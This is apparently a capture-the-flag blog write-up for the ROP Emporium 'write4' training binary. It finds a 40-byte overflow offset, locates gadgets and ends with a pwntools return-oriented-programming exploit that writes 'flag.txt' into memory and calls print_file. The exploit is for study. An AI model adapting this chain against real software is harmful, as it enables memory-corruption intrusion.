Buffer Overflow Attacks ROM Emporium Challenge Solutions Return Oriented Programming Buffer Overflow Attack

ROP Challenge – Exploiting write4 Binary

Hello and welcome to the ROP Emporium blog series, where we tackle the ROP challenges. I apologize for the delay since my last post, as I’ve been occupied with personal commitments.

Today, we’ll be examining the Write4 challenge, and I’ll guide you through the solution step by step. If you’ve searched for solutions online, you might have come across writeups that use the “system()” function to insert the string “/bin/sh”. However, it seems that the ROP Emporium binary for the Write4 challenge has been updated. Instead of the “system()” function, it now uses the “print_file()” function, which requires an argument. I wanted to let you know that if you’re having trouble finding accurate writeups, this blog will provide a detailed guide on injecting a string into the “print_file” function.

Let’s get started. While solving this challenge, I also experimented with a couple of tools, and here’s a brief overview of them.

  • Rabin2 – Binary program info Extractor.
  • Radare2 (r2) – Advanced command‐line hexadecimal editor, disassembler and debugger.
  • readelf – Display information of ELF (Executable and Linkable File Format) Binary Info.
  • ropper and ROPgadgets – Search for appropriate gadgets gadget

First, we are going to find our usual offset. Start by firing up GDB, and you can use the GDB-PEDA extension to make things easier. Once you have GDB-PEDA set up, load your binary.

The image shows the execution of an ELF file using gdb debugger and finding offset to take advantage of Buffer Overflow vulnerability.

In the screenshot above, I have loaded the Write4 binary with GDB. Using the ‘pattern create’ command, I generated a random 100-byte long pattern. Next, I ran the Write4 program and inserted the created pattern.

This image uses GDB-PEDA, an extension in the GDB to identify the registers, code, stack and analyze it for triggering the potential buffer overflow vulnerability.

So, we’ve identified our offset as 40 bytes. Now, if you look at the Write4 challenge description, it highlights a couple of important points:

ROP emporium write4 challenge description and solution or writeup

So here’s the plan

  • Locate the Gadget: We need to find a gadget that contains the instruction mov [reg], reg. This will allow us to move our desired string into a writable memory segment.
  • Find a Writable Segment: Identify a writable segment in the binary’s memory. This could be the .bss, .data, .got segment, or any other writable section.
  • Insert the String: Once we have the writable segment, we will insert the string “flag.txt” into it.
  • Call print_file: Finally, we will call the print_file function with the address of our writable segment to print the contents of the “flag.txt” file.

We will start by locating the gadgets we need. We will use ROPgadget to find the first gadget that contains the instruction mov [reg], reg.

ROPgadget to find a writable gadget

You can also verify the presence of this specific gadget using GDB as follows. I disassembled both the main and usefulGadget functions using GDB.

Disassembling the functions in the binary using gdb to find the vulnerable gadget

Now, we need to locate the writable sections in the binary. We’ll use rabin2 for this task.

List of writable sections with in the binary. Here we have .data section is writable

We’ll utilize the .data section for this purpose, though any writable section will suffice. Next, we require another gadget, specifically ‘pop r14; r15 ret’, which allows us to pop values into registers for inserting our string. Let’s locate this gadget using ROPgadgets.

We can find the same gadget present in one of the libc library that is integrated with our binary.

using gdb, disassemble the function and finding the gadget to insert our payload

We know that our print_file function takes the argument. so we would need one more rdi register to pass it as a argument and our argument will be “flag.txt”.

Finding pop rdi gadget to insert the flag.txt as a string that will be pass as an argument to print_file function.

Here’s the structured plan for our final exploit:

  • Start with an offset of 40 bytes to control the EIP/RIP.
  • Use the gadget pop_gadget = 0x0000000000400690 : pop r14 ; pop r15 ; ret to facilitate popping values into registers for further operations.
  • Define .data_section_addr = 0x00601028 as the location in memory where we will write the string “flag.txt”.
  • Prepare the string b"flag.txt" itself, which is the actual content we want to write.
  • Utilize the gadget mov_gadget = 0x0000000000400628 : mov qword ptr [r14], r15 ; ret to execute the operation that moves the string “flag.txt” into the .data section.
  • Use pop_rid = 0x0000000000400693 : pop rdi ; ret to set up the argument in the RDI register for the print_file function.
  • Point .data_section_addr = 0x00601028 again to ensure the print_file function knows where “flag.txt” is located.
  • Finally, call print_file@plt = 0x0000000000400510 to execute the print_file function, which will print the contents of “flag.txt” once everything is set up correctly.

Final Exploit

from pwn import *
Payload Structure 
We will start with an offset of 40 bytes to control the EIP/RIP

pop_gadget = 0x0000000000400690 : pop r14 ; pop r15 ; ret - Redirect the execution to pop operation

.data_section_addr = 0x00601028 - Where we are goint to write the string flag.txt

b"flag.txt" - an actual string

mov_gadget = 0x0000000000400628 : mov qword ptr [r14], r15 ; ret - Redirect the execution to mov operation to write "flag.txt" to .data section

pop_rid = 0x0000000000400693 : pop rdi ; ret - Preparing the argument for the print_file function

.data_section_addr = 0x00601028 - Point to the location of the flag.txt

print_file = print_file@plt = 0x0000000000400510 - Calling the print_file function when everything is setup and flag.txt is in RDI register

#Declaring variables

pop_gadget = 0x0000000000400690
data_section_addr = 0x00601028
mov_gadget = 0x0000000000400628
pop_rdi = 0x0000000000400693
print_file = 0x0000000000400510

#Calling Process
p = process('./write4')

#Preparing final payload
payload = b"A"*40 + p64(pop_gadget) + p64(data_section_addr) + b"flag.txt" + p64(mov_gadget) + p64(pop_rdi) + p64(data_section_addr) + p64(print_file)

#sending payload
write4 - Exploit executed successfully and flag captured

We have captured the flag for this write4 binary.